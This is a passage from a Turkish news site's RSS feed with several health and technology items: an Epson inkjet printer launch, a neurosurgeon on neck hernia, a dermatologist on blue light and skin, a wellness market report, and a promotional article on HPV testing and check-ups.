<p>Epson CISMETA Bölge Direktörü Suat Özsoy ise şöyle konuşuyor: “Bu yeni ürünler, küçük çalışma grubu ünitelerinden yüksek hızlı departman makinelerine kadar ticari mürekkep püskürtmeli MFP ürün grubumuzu tamamlıyor; yani iş işlevi veya baskı talebi ne olursa olsun, artık her kategoriye uygun bir ürünümüz var. İş odaklı inkjet serimizde sunduğumuz her ürün, işletmelere kendi sürdürülebilirlik hedeflerine ulaşmalarına yardımcı olmak için ihtiyaç duydukları teknolojiyi sağlıyor. İş ortaklarımız ve müşterilerimiz için güç tüketimini ve CO2 emisyonlarını azaltmada gerçekten fark yaratan sürdürülebilir teknolojiler üretme konusunda tutkulu ve gururluyuz. Inkjet teknolojisine geçiş yapan her işletme daha sürdürülebilir bir topluma katkıda bulunuyor.”</p>

<p>&nbsp;</p>

<p><strong><u>Yeni seri hakkında daha fazla bilgi:</u></strong></p>

<p>&nbsp;</p>

<p>● Sınıfındaki en kompakt ve önemli ölçüde azaltılmış ağırlık</p>

<p>● C-şekilli kağıt besleme, kağıt sıkışması olasılığını azaltır ve güvenilirliği artırır</p>

<p>● 10,1 inç arayüz paneli – eko baskı ayarlarıyla daha akıllı ve daha sezgisel</p>

<p>● Otomatik kağıt boyutu algılama ve frenli kağıt kasetleriyle basit ve kullanımı kolay</p>

<p>● Kolay yükleme, kompakt, yüksek kapasiteli mürekkep kartuşları</p>

<p>● Yüksek kapasiteli kağıt işleme: 5150 yaprağa kadar</p>

<p>● Arıza süresini azaltır: Kolay dahili erişim ve hızlı ve verimli rutin bakım için tasarlandı</p>

<p>● 60ppm / 120 ipm tarama özelliği ve isteğe bağlı yerleşik OCR özelliği</p>

<p>● Dahili son işlemci: Belgeleri derlemek ve zımbalamak için kompakt ve yerden tasarruf sağlar. İsteğe bağlı delgeç ile de mevcut</p>

<p>● Takılabilir kitapçık dış sonlandırıcı: Zımbalama, delik delme, zarf yazdırma, sırttan zımbalama ve ortadan ve üç katlama sağlamak için</p>]]></content:encoded>
                <pubDate>Thu, 17 Nov 2022 14:41:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/epson-lazer-teknolojisini-tamamen-birakma-karari-aldi-1668685339.jpeg"/>
            </item>
                                <item>
                <title>Boyun Fıtığında Erken Tanı ve Tedavi Uyarısı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/boyun-fitiginda-erken-tani-ve-tedavi-uyarisi-548616</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/boyun-fitiginda-erken-tani-ve-tedavi-uyarisi-548616</guid>
                <description><![CDATA[Özel Gözde Kuşadası Hastanesi Beyin ve Sinir Cerrahisi Uzmanı Op. Dr. Gültekin Erdoğan,]]></description>
                <content:encoded><![CDATA[<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="font-size:medium">boyun fıtığında erken tanı ve müdahalenin önemli olduğunu söyledi.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="font-size:medium">Erdoğan, geniş bir yaş grubunda görülebilen boyun fıtığının boyun-kol ağrısı, el ve parmaklarda uyuşma ile cansızlık olarak kendisini gösterdiğine dikkat çekti.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="font-size:medium">Orta yaşlılarda daha sık rastlanan ve yaşlanma sonucu kireçlenmeye bağlı sinir sıkışması nedeniyle de ortaya çıkan boyun fıtığının, darbe ve travma sonucu da görülebildiğini vurgulayan Beyin ve Sinir Cerrahisi Uzmanı Op. Dr. Gültekin Erdoğan, “Boyun fıtığı kişinin hareketsiz yaşam tarzı ve mesleğine göre de artış gösterebiliyor. Öne eğilerek iş yapan, elişi ile uğraşan, yüksek yastık kullanan kişilerde boyun fıtığı oluşma riski artıyor. Bize gelen hastanın öncelikle şikayetini dinliyoruz. Risk faktörlerini belirlemek için boyun hareket açıklığı, kuvvet, duyu ve refleks bozuklulukları var mı diye inceliyoruz. Boyun fıtığını düşündüren bulgular varsa boyun MR'ı çekiliyor. MR ile hem omurganın yapısı hem de sinir köklerini inceliyoruz. Sinirler üzerinde baskı var mı ve varsa şiddeti, derecesi nedir görebiliyoruz. Hastanın durumuna göre öncelikle ilaç tedavisi ve fizik tedavisi uyguluyoruz. Eğer baskı şiddetliyse ve fıtıklaşma varsa ameliyat öneriyoruz” diye konuştu.</span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="font-size:medium"><strong>MİKRO CERRAHİ YÖNTEMİ</strong></span></span></span></span></span></p>

<p style="text-align:start">&nbsp;</p>

<p style="text-align:start"><span style="font-size:medium"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="color:#000000"><span style="font-size:medium">Günümüzde boyun fıtığı ameliyatlarında daha çok mikro cerrahiyle tedavi gerçekleştirdikleri bilgisini veren Erdoğan, sözlerini şöyle sürdürdü: “Bu ameliyat kritik dokulara en az zararı verdiği için tercih ediliyor. Kişiden kişiye değişmekle birlikte operasyon bir buçuk saat kadar sürüyor. Boyun omurunda oluşan hasarlı fıtıklaşmış dokuyu alıyoruz. Alınan doku yerine destekleme yapıyoruz. Böylelikle ameliyat sonrasında yaşanabilecek ağrı sızıyı da azaltmış oluyoruz. Mikro cerrahi ameliyatı, hastalara önemli avantaj sağlıyor. Doku hasarı en az seviyede olduğu için hasta ameliyattan sonraki gün evine gidebiliyor, 1 hafta içinde de normal yaşantısına dönebiliyor”</span></span></span></span></span></p>]]></content:encoded>
                <pubDate>Thu, 17 Nov 2022 14:40:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/boyun-fitiginda-erken-tani-ve-tedavi-uyarisi-1668685232.jpeg"/>
            </item>
                                <item>
                <title>‘MAVİ IŞIK’ YÜZDE LEKELENME SEBEBİ OLABİLİR Mİ?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/mavi-isik-yuzde-lekelenme-sebebi-olabilir-mi-548604</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/mavi-isik-yuzde-lekelenme-sebebi-olabilir-mi-548604</guid>
                <description><![CDATA[Bilgisayar ekranları ve cep telefonlarından yayılan mavi ışığın özellikle ekran sürekli bakarak çalışanların ciltlerinde lekelenmelere ve var olan lekelerde artışa yol açabildiğini söyleyen Dermatoloji Uzmanı Dr. Makbule Dündar, “Mavi ışık ciltte pigmentasyonda artış, şişme, kızarma, erken kırışma gibi cilt değişikliklerine sebep olabiliyor” diyor.]]></description>
                <content:encoded><![CDATA[<h3><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></h3>

<p style="text-align:center"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Pek çok doğru bildiğimiz&nbsp;yanlış var. Bunlardan biri de bilgisayar ekranları ve cep telefonlarından&nbsp;yayılan mavi ışık ile ilgili... Mavi ışığın sadece göz sağlığını olumsuz&nbsp;etkilemediği, ciltte de lekelenmelere yol açtığı düşünülüyor. Hatta cilt&nbsp;kanserine varan vakalardan söz ediliyor… Ancak m</span></span><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">avi&nbsp;ışığın UV ışığından daha derine nüfus ettiği düşünülse de yapılan çalışmalar&nbsp;cilt kanserinin gelişimiyle ilişkili olmadığını gösteriyor.&nbsp;</span></span><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">İnsanların&nbsp;maruz kaldığı mavi ışığın çoğunun güneşten geldiğini, cihazların yaydığı mavi&nbsp;ışığın miktarının güneş tarafından yayılanın sadece küçük bir kısmını&nbsp;oluşturduğunu belirten&nbsp;</span></span></span></span></span></span></p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><strong><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Dermatoloji&nbsp;Uzmanı Dr. Makbule Dündar</span></span></strong><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">, “M</span></span><span style="font-size:8.5pt">avi ışığın cilt üzerine etkileriyle ilgili&nbsp;yeterli bilimsel çalışma mevcut değil. Ancak bazı ön çalışmalar ipuçları&nbsp;içeriyor. Mavi ışığın cilde nüfus etmesi reaktif oksijen türlerine neden&nbsp;olabileceği ve bununda DNA hasarına yol açabileceği, bununda kolejen ve elastin&nbsp;liflerde hasarlanmaya sebep olabileceği üzerinde durulan konular” diyor.</span></span></span></span></span></p>

<p style="text-align:justify"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></p>

<p style="text-align:center"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><strong><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">LEKELENME SORUNU ORTAYA&nbsp;ÇIKIYOR</span></span></strong></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Öte yandan bilim&nbsp;adamları tarafından güneşten ve cihazlardan gelen mavi ışığın göz yorgunluğuna,&nbsp;göz kuruluğuna neden olabileceğini, katarakt&nbsp; ve yaşa bağlı makula dejenerasyonunu&nbsp;hızlandırabileceği biliniyor. Bazı çalışmalarda hormon üretimini bile&nbsp;etkileyebileceği ve uyku kalitesini olumsuz yönde etkileyecek bir dengesizlik&nbsp;yaratabileceği yazıldı Covid 19 karantinasıyla beraber ise, cihazlarla&nbsp;geçirdiğimiz zamanın artmasına bağlı olarak, elektronik cihazların cilt&nbsp;yaşlanmasını ve lekelenmeyi artırıp artırmadığı sorusu gündeme geldi. Çünkü&nbsp;karantina sürecinde pek çok çalışan, evlerde ekran önünde çok uzun süre&nbsp;geçirmeye başladı.</span></span></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Dündar</span></span><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">’ın&nbsp; kişisel&nbsp;gözlemi de ‘Home Office’&nbsp; çalışanların dış ortama çıkmamalarına ve güneşe&nbsp;maruz kalmamalarına rağmen yüzlerinde lekelenme veya eski koyu renkli&nbsp;lekelerinde artış olduğu yönünde. Bunun ekranlardan yayılan mavi ışığa&nbsp;bağlanabileceğine vurgu yapan Dündar, “Mavi ışık ciltte pigmentasyonda artış,&nbsp;şişme, kızarma, erken kırışma gibi cilt değişikliklerine sebep olabiliyor”&nbsp;diyor.</span></span></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff">&nbsp;</span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><strong><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">NE&nbsp;GİBİ ÖNLEMLER ALINMALI?</span></span></strong></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Bilgisayar&nbsp;ekranı dışında tabletler ve cep telefonları da birer mavi ışık kaynağı.&nbsp;Telefonunuzun ekran parlaklığını azaltarak ve kulaklık takarak telefonu&nbsp;yanağınızdan uzak tutarak konuşmanın cilt sorunları için faydalı olabilecek&nbsp;eylemler olduğuna da dikkat çeken Dündar, ayrıca elektronik cihazlar için mavi&nbsp;ışığı engelleyen veya azaltan oftalmolog onaylı ekran koruyucuların da kullanmasını&nbsp;öneriyor.</span></span></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">Dündar,&nbsp;şöyle devam ediyor: “Her gün yüzünüze en az 30F güneş koruyucu kullanın.&nbsp;Koruyucuyu tüm gün evde vakit geçirecek olsanız dahi mutlaka uygulayın.&nbsp;Seçeceğiniz güneş koruyucusunun da çinko oksit veya titanyum dioksit gibi&nbsp;fiziksel ,mineral koruyuculardan seçmek mavi ışıktan korunmanızda daha etkili&nbsp;sonuç verir. Günlük bakım</span></span></span></span></span></span></p>

<p style="text-align:left"><span style="font-size:small"><span style="color:#222222"><span style="font-family:Arial,Helvetica,sans-serif"><span style="background-color:#ffffff"><span style="font-size:8.5pt"><span style="font-family:Arial,sans-serif">anti&nbsp;- age ürünlerde de antioksida, yoğun C ve E vitamini, ferulik asit içeren&nbsp;kremleri seçmek ,güneş kremiyle kendinizi korumak için gösterdiğiniz tüm&nbsp;çabalara rağmen maruz kaldığınız serbest radikal hasarını nötralize etmek için&nbsp;bir sigorta poliçesi olur.”</span></span></span></span></span></span></p>]]></content:encoded>
                <pubDate>Wed, 16 Nov 2022 14:26:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>Yaşam kalitesini iyileştirmek için ipuçları</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/yasam-kalitesini-iyilestirmek-icin-ipuclari-548599</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/yasam-kalitesini-iyilestirmek-icin-ipuclari-548599</guid>
                <description><![CDATA[GOOINN tarafından hazırlanan ve Wellness alanındaki girişimcilere rehberlik eden raporda; "Wellness tanıtımı ve kullanım alanları, dünyada ve Türkiye'de Wellness sektörü, sektörün avantajları, çeşitleri, bilinmesi gereken kavramlar, kullanılan teknolojiler, Wellness alanında önemli teknolojiler ve geleceğin trendleri" gibi konu başlıklarının ele alındı. GOOINN Wellness 2022 raporuna göre, kişilerin günlük yaşamlarına sağlıklı yaşam aktivitelerini ve yaşam tarzlarını dahil etmesine olanak sağlayan Wellness ekonomisinin bir endüstri olarak 2020 yılında 4,4 trilyon dolar değerinde bir pazara sahip iken, 2025 yılında yaklaşık 7 trilyon dolar değere ulaşması bekleniyor.]]></description>
                <content:encoded><![CDATA[<h1>&nbsp;</h1>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><strong>Wellness pazarı 11 farklı sektörde büyüyor</strong></p>

<p>&nbsp;</p>

<p>Wellness ekonomisi “mental wellness, fiziksel aktivite, wellness gayrimenkulü, kurumsal wellness, wellness turizmi, spa ekonomisi, termal/mineral/maden kaynakları, sağlıklı beslenme ve kilo kontrolü, kişisel bakım ve güzellik, önleyici ve kişiselleştirilmiş tıp, halk sağlığı, alternatif ve tamamlayıcı tıp” isimleri altında 11 farklı sektörde her geçen gün ihtiyacın daha da artması ile hızla büyüyor. Rapora göre, bu büyük ekonomi içinde 2020 yılında 34,6 milyar dolar ile Avrupa’nın en büyük 9. Wellness pazarına sahip olan Türkiye, bugün Dünya genelinde ilk 20’ye girmiş durumda. Termal kaynak zenginliği açısından dünyada 7. sırada yer alan Türkiye’nin bu alanda Wellness turizminden yüksek pay almaya devam edeceği öngörülüyor.</p>

<p>&nbsp;</p>

<p>Diğer yandan, GOOINN Wellness raporuna göre, 2019 yılında 874 milyar dolar değerinde bir pazara sahip olan fiziksel aktivite ekonomisinin 2025 yılında 1,7 trilyon dolar olacağı; Wellness turizminin ise pazarının genişleyerek 1,1 trilyon dolar olacağı tahmin ediliyor. Yine aynı yıl içinde yapılan tahminlere göre Spa ekonomisinin 2025 yılında pandemi öncesi değerlerine geri dönerek 151 milyar dolar değerine ulaşacağı; termal/mineral/maden kaynakları ekonomisinin ise 90 milyar dolara ulaşacağı düşünülüyor. Çoğu ülkede wellness pazarının büyük bölümünü sağlıklı beslenme, fiziksel aktivite ve kişisel bakım ve güzellik oluşturuyor.</p>

<p>&nbsp;</p>

<p><strong>Dijital Wellness, güçlü çalışan bağlılığı ve yüksek üretkenlik sağlıyor</strong></p>

<p>&nbsp;</p>

<p>Teknolojilerin ve dijital hizmetlerin fiziksel, mental ve duygusal sağlığın üzerindeki etkisini tanımlamak için kullanılan dijital wellness, hem işyerinde hem de kişisel yaşamda sağlıklı teknoloji kullanım alışkanlıklarını teşvik etmek ve kişilerin daha sağlıklı bir yaşam tarzı sürdürmesine yardımcı olmaktadır. Son yıllarda iş yerlerinde artan teknoloji kullanımından dolayı dikkat ve davranış sorunlarının yanı sıra tükenmişlik sendromlarının da arttığı ortaya koyan GOOINN raporu, işverenlerin daha sağlıklı yaşam ve çalışmayı teşvik etmek için teknoloji kullanımını kolaylaştıran araç ve uygulamaları benimsediğini gösteriyor.</p>

<p>&nbsp;</p>

<p>Bu nedenle işyerinde dijital wellness konusuna odaklanmanın hem işletmeler hem de çalışanlar için karşılıklı olarak faydalar sunduğunu ifade eden Wellness raporu ayrıca, bu faydalardan en önemlisinin güçlü çalışan bağlılığı ve yüksek üretkenlik sağladığını ortaya koydu. Bu noktada işverenler, odaklanmayı teşvik eden ve dikkat dağınıklığını azaltan dijital çalışma alanı teknolojileri sayesinde dijital wellness’i teşvik ederek çalışanların katılımını ve üretkenliğini iyileştirebiliyor. Diğer bir faydası ise, çalışan memnuniyetinin artması. Birçok çalışan, iş tatmini için daha iyi bir iş-yaşam dengesinin gerekli olduğunu belirtiyor. Özellikle uzaktan çalışma ile birlikte dijital wellness, bahsedilen dengenin önemli bir unsuru haline gelmiş durumda. Bu noktada işverenler esnek çalışma düzenlemeleri gibi uygulamaları benimseyerek iş gücündeki memnuniyeti artırabiliyor.</p>

<p>&nbsp;</p>

<p><strong>Dijital sağlığı geliştirmenin yolları</strong></p>

<p>&nbsp;</p>

<p>GOOINN’in Wellness 2022 raporu, teknolojinin sağlıklı kullanımını teşvik etmek, fiziksel, mental ve duygusal sağlığın korunmasına yardımcı olmak için dijital alışkanlıklara göz atma, dijital aktiviteyi izleme, sınırları belirleme, uyku sürecinde teknoloji ile bağlantıyı kesme, odak modunu kullanma, gerçek zamanlı ilişkilere öncelik verme ve sosyal medyada geçirilen zamanı azaltma konularında kullanılıyor.</p>

<p>&nbsp;</p>

<p><strong>Wellness alanında&nbsp;</strong><strong>en çok kullanılan 10 teknoloji</strong></p>

<p>&nbsp;</p>

<p>Raporda ayrıca, gelişen teknolojilerden faydalanarak gelişen Wellness pazarında en çok kullanılan 10 teknoloji şu şekilde sıralanıyor; Yapay Zeka (AI), Giyilebilir Teknolojiler, Nesnelerin İnterneti (IoT), Internet of Care Things (IoCT), Sanal Gerçeklik (VR), Artırılmış Gerçeklik (AR), Robot Teknolojileri, Otomasyon Teknolojileri, Veri Analitiği ve Wellness Uygulamaları.</p>

<p>&nbsp;</p>

<p><strong>İşte, Wellness ile ilgili geleceği şekillendirecek trendler</strong></p>

<p>&nbsp;</p>

<p>Tüm dünyada insanlar sağlık hizmetlerine yılda 8,3 trilyon dolar ve sağlık için 4,4 trilyon dolar harcarken, daha iyi yaşamak için davranış değişikliği geliştirmek konusunda zorlanıyor. GOOINN Wellness 2022 raporuna göre; “toprağa geri dönüş, toksik kaslılık sorunun temizlenmesi, yeni yaşam modelleri, seyahat, tıbbi araştırmalarda açık kapatan yenilikçi teknolojiler, sağlıklı şehirler, yeni nesil natüralizm, sağlık ve wellness koçluğu, metaverse’te wellness, ses şifası ve travmalar konusunda bilinçlenme” gibi trendler Wellness teknolojilerinin ve sektörlerinin geleceğini şekillendirecek.</p>

<p>&nbsp;</p>

<p><strong>Yaşam kalitesini iyileştirmek için ipuçları</strong></p>

<p>&nbsp;</p>

<p>Wellness 2022 raporu ayrıca, yaşam kalitesini iyileştirmek için düzenli uyku, sağlıklı ve dengeli beslenme, güneş ışığı alma, stres ile başa çıkma, günlük egzersiz, sigara ve alkolden uzak durma, sosyalleşme, hobiler ile uğraşma, anda kalma, yeni beceriler kazanma, gülmek ve eğlenmeye zaman ayırmak gibi ipuçları konusunda önerilerde bulunuyor.</p>]]></content:encoded>
                <pubDate>Wed, 16 Nov 2022 11:55:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
                <title>HPV Virüsü (Sürüntü) Nasıl Alınır?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/hpv-virusu-suruntu-nasil-alinir-548572</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/hpv-virusu-suruntu-nasil-alinir-548572</guid>
                <description><![CDATA[HPV cinsel yolla bulaşan çoğunlukla kadınlarda görülen virüs yani enfeksiyondur. Halk arasında kanser olarak bilinse de HPV bir kanser türü değildir.]]></description>
                <content:encoded><![CDATA[<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>HPV Testi </strong></span></span></p>

<p>&nbsp;</p>

<p>&nbsp;</p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Hpv testi</strong> için sürüntü özel bölgeden alınmaktadır. Sürüntü anında kişinin herhangi bir şekilde canı yanmamaktadır. İnce çubuğun üzerinde pamuk yer alır. Bu çubuk ile sürüntü alınarak tüpün içine yerleştirilir. İncelemeye gönderilen bu testin sonuçları kişilere doktor tarafından verilmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>HPV Testi Nasıl Uygulanır? Kimlere Uygulanmalı?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Hpv testi</strong> olmak isteyen kişilerin ilk olarak doktor ile görüşmesi gerekmektedir. Doktor isteği üzerine kişilere uygulanmaktadır. Kadınlara uygulanan bu test sürüntü yoluyla gerçekleştirilmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>HPV Nasıl Bulaşır? Kimlerde Görülür?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Hpv enfeksiyonu cinsel yolla bulaşmaktadır. <a href="https://www.galenlab.net/hpv-testi/" style="color:#0563c1; text-decoration:underline"><strong>Hpv testi</strong></a> sonuçlarına bakıldığında kadınlarda görülme olasılığı oldukça fazladır. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>HPV Pozitif Ne Demek? HPV Negatif Ne Demek?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Hpv testi</strong> yapılan kişilerde pozitif ve negatif olmak üzre iki sonuç çıkabilmektedir. Negatif kişilerde enfeksiyon olmadığını pozitif ise kişilerde enfeksiyon olduğunun göstergesidir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>HPV Pozitif Belirtileri Nelerdir?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Hpv testi</strong> pozitif olduğu belirlenmeden kişilerde birtakım belirtiler meydana gelebilmektedir. Özel bölgede özellikle siğil en çok rastlanan belirtiler arasındandır. Ardından kızarıklık ve kabarma meydana gelebilmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Nedir?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up</strong> işleminin yapılma sıklığı yaş aralıklarına göre değişiklik göstermektedir. Bu işlemde hastalıkların tamamı daha başlangıç seviyesindeyken bile belli olduğu için elli yaşı geçmiş bireylerin her sene elli yaşından küçük olan kişilerin ise üç senede bir tekrar etmesi gerekmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up, </strong>kişilerin gerekli sağlık kontrollerinin yapılması demektir. Bu uygulama sayesinde pek çok rahatsızlık önceden teşhis edilerek kişiler sağlıklarına kavuşmaktadır. Belirli yaş aralıklarında tekrarlanması gereken bu test için kişilerin doktor ile görüşmesi gerekmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Neleri Kapsar?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Şeker hastalığı, tansiyon hastalığı, kalp damar hastalıkları ve çok daha fazlasını kapsamaktadır. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Nasıl Yapılır?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kişilerden kan alınır, röntgen çekilir ve ek olarak daha fazla test istenir uygulanarak tamamlanmaktadır. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Paketleri Nelerdir?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kişilerin belirli yaşlarda daha farklı sağlık problemleri ortaya çıkmaktadır. Bu yaş aralıkları için de <a href="https://www.galenlab.net/check-up/" style="color:#0563c1; text-decoration:underline"><strong>check up</strong></a> paketleri bulunmaktadır. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Ne Kadar Sürer?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up</strong> işlemi için verilen testler ve muayene üç dört saat aralığında tamamlanmaktadır. Sonuçlandırılması ise dört gün kadar sürmektedir.</span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Check up Neden Yaptırmalısınız?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Sağlıklı olup olmadığını öğrenmek ve herhangi bir rahatsızlık durumunda erken müdahale edilmesi </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>İşe Giriş Sağlık Raporu Nedir?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">İlk <a href="https://www.galenlab.net/ise-giris-saglik-raporu/" style="color:#0563c1; text-decoration:underline"><strong>işe giriş sağlık raporu</strong></a> giriş sırasında istenmektedir. Kişilerin sağlıklı olup olmadığı gerekli tüm testler yapılarak rapor haline getirilir. Bu rapor kurumlara sunulur ve kişinin iş için uygun olup olmadığı belirlenir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>İşe Giriş Sağlık Raporu Nasıl Alınır?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Doktorlar tarafından <strong>işe sağlık raporu</strong> verilmektedir. Bu rapor bütün kan testleri yapılarak kişilere verilmektedir. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Sağlık Raporu Neden İstenir?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Sağlık raporu kişilerin sağlıklı olup olmadığını belirleyen bir ölçüttür. <strong>İşe sağlık raporu</strong>, evlilik sağlık raporu, ehliyet sağlık raporu, iş görme için sağlık raporu gibi birçok çeşidi bulunmaktadır. Kişiler bu gibi durumlarda sağlık durumlarını belirtmek için rapor alırlar. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Sağlık Raporu Ne Zaman Yapılır?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kurumların istekleri doğrultusunda ve zamanda uygulanan doktorlar tarafından sonuçlandırılan uygulamadır.</span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>İşe Giriş Sağlık Raporu Zorunlu mu?</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">İş sağlığı ve güvenliği tarafından belirlenen kanunla beraber çalışmak isteyen bireylerin <strong>işe sağlık raporu </strong>almaları zorunlu kılınmıştır. </span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif"><strong>Sağlık Raporu Geçerlilik Süresi</strong></span></span></p>

<p><span style="font-size:11pt"><span style="font-family:Calibri,sans-serif">Kişilerin işe giriş için aldıkları <strong>işe sağlık raporu</strong> bir yıl süreliğine geçerlidir. </span></span></p>]]></content:encoded>
                <pubDate>Wed, 16 Nov 2022 10:48:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler"/>
            </item>
                                <item>
